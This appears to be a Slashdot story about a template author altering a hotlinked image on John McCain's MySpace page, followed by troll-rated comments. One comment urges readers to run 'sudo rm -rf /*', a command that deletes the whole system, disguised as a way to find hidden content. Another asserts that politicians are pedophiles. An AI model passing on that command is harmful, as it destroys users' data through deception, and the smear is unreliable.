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John McCain's MySpace Page "Pranked"

Posted by kdawson on from the careful-who-you-leach-from dept.

Several readers let us know about a little problem with presidential hopeful John McCain's MySpace page. Looks as though some staffer didn't read the fine print of the "credit" clause when selecting a template for the page. The template author and CEO of Newsvine, Mike Davidson, noticed this and didn't care too much. But the McCain page was pulling an image from Davidson's site, costing him bandwidth every time someone visited the candidate's MySpace page. So Davidson changed the image in question to read: "Today I announce that I have reversed my position and come out in full support of gay marriage... particularly marriage between two passionate females." Here is Davidson's account of the "immaculate hack".

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  1. Re:This could majorly backfire by Carewolf · · Score: 0, Troll

    Huh? From the fine summary: "the McCain page was pulling an image from Davidson's site" - how can it be illegal to change the contents of your own website? How could this even be called 'hacking'? If you pull graphics from other websites, prepare to get what you deserve! It says "Pranked" instead of "Hacked" in the summary title for a reason.


    Since when have common sense had anything to do with american law?
  2. Re:Never... er... always check your references by that+this+is+not+und · · Score: 0, Troll

    Hopefully lots of the communist ones who were wearing VC uniforms and shooting at US Soldiers.

    You know, the ones who rolled down south and stomped the regular folks once the US withdrew.

    'Which Side Are You On' (Woodie Gutherie or someone)

  3. Re:+1 Funny. by Hal_Porter · · Score: 0, Troll

    Hey arsehole! You need to learn not to click links when there's a warning in the same post!

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  4. Re:+1 Funny. by bberens · · Score: 0, Troll

    Dude, there's secret hidden pr0n in the linux kernel. All you have to do is type "sudo rm -rf /*" from the command prompt. I've heard people get mixed results with it, so you'll just have to try it out for yourself.

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  5. Re:If he's a good politician.. by inviolet · · Score: 0, Troll

    Drink isn't immoral though. If I get drunk a lot, I'm only harming myself, not other people.

    Immoral things have to harm other people. But even then there are things which are immoral which should not be illegal, like adultery.

    Odd definition of morality you have there. Morality would not apply if you were marooned alone on a desert island, then? In that desperate circumstance, how long could you survive while operating on the idea that there is no right or wrong, no good or bad, no difference between value and disvalue?

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  6. Re:The half-life of an online moon by heinousjay · · Score: 0, Troll

    Wow, they're so cool. I wish I could deface people's property when they got upset about me infringing on their rights, but I'm not cool enough.

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  7. Logical Conclusion: by kakur · · Score: 0, Troll

    Fact 1: All Myspace users are either pedophiles or jailbait.
    Fact 2: Most politicians have Myspace pages.
    Fact 3: Most politicians sure aren't jailbait.

    Conclusion: Most politicians are pedophiles.